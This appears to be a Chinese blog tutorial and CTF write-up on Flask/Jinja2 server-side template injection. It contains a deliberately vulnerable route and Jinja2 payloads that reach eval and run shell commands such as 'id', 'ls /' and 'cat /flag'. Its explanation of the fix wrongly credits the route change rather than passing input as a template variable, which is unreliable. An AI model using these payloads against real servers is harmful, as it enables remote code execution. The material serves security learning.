前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈Flask模板注入攻击

浅谈Flask模板注入攻击

作者头像
ly0n
发布2020-11-04 11:02:55
1.7K0
发布2020-11-04 11:02:55
举报
文章被收录于专栏:ly0n

前言

​ 由于最近一直在学二进制,所以web方面时间就不是很充足了,在buuoj上做了几道web,其中有一道flask(jinja2)的SSTI,之前也接触过,所以今天就来复现下flask ssti,这里推荐一个学习环境

vulhub

基础知识

Flask

​ Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。Werkzeug 一个 WSGI 工具包。

​ 个人感觉,flask学习起来还是挺容易的,安装flask

  • pip install flask

下面写一个简单的flask代码

代码语言:javascript
复制
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():    
    return "Hello ly0n!"
 
if __name__ == "__main__":
    app.run()

​ 简单说一下上面的代码,前两行就是导入flask 包然后进行初始化。紧接着下面三行是使用Flask提供的@app.route 修饰器,把修饰的函数注释为路由。然后运行即可。

jinja2

代码语言:javascript
复制
jinja2 是Flask 框架的一部分,Jinja2 利用模板参数提供的相应的值替换了 {{…}} 块

Jinja2 模板同样支持控制语句,像在 {%…%} 块
代码语言:javascript
复制
{# This is jinja code
   # 控制结构
    {% for file in filenames %}
        # 取值
        {{ file }}
    {% endfor %}
#}

测试输出

代码语言:javascript
复制

from jinja2 import Template

t=Template('{% for i in range(19) %}{{ i }}{% endfor %}')
print(t.render())

漏洞原理

漏洞成因

查看源码

代码语言:javascript
复制
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

t = Template("Hello " + name) 这行代码使得Template完全可控,我们传入jinja2的控制语句就可以得到执行。我们可以传入demo里的控制语句0123456789101112131415161718

漏洞预防

我们可以修改flask的修饰器@app.route("/ly0n")

代码语言:javascript
复制

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/ly0n")
def safe():
    name = request.args.get('name', 'guest')

    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

原理是将其路由到/ly0n页面进行访问测试,原本存在的代码注入漏洞就不存在了.

漏洞利用

​ 利用eval函数执行任意代码构造POC

代码语言:javascript
复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

buuoj fake_goole

​ 打开题目看到一个搜索框

随便输入下看到提示为ssti

是基于jinja2的SSTI

构造payload

代码语言:javascript
复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}

代码语言:javascript
复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
{% endif %}
{% endfor %}

原理分析见另一篇文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 基础知识
    • Flask
    • jinja2
    • 漏洞原理
      • 漏洞成因
        • 漏洞预防
        • 漏洞利用
        • buuoj fake_goole
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档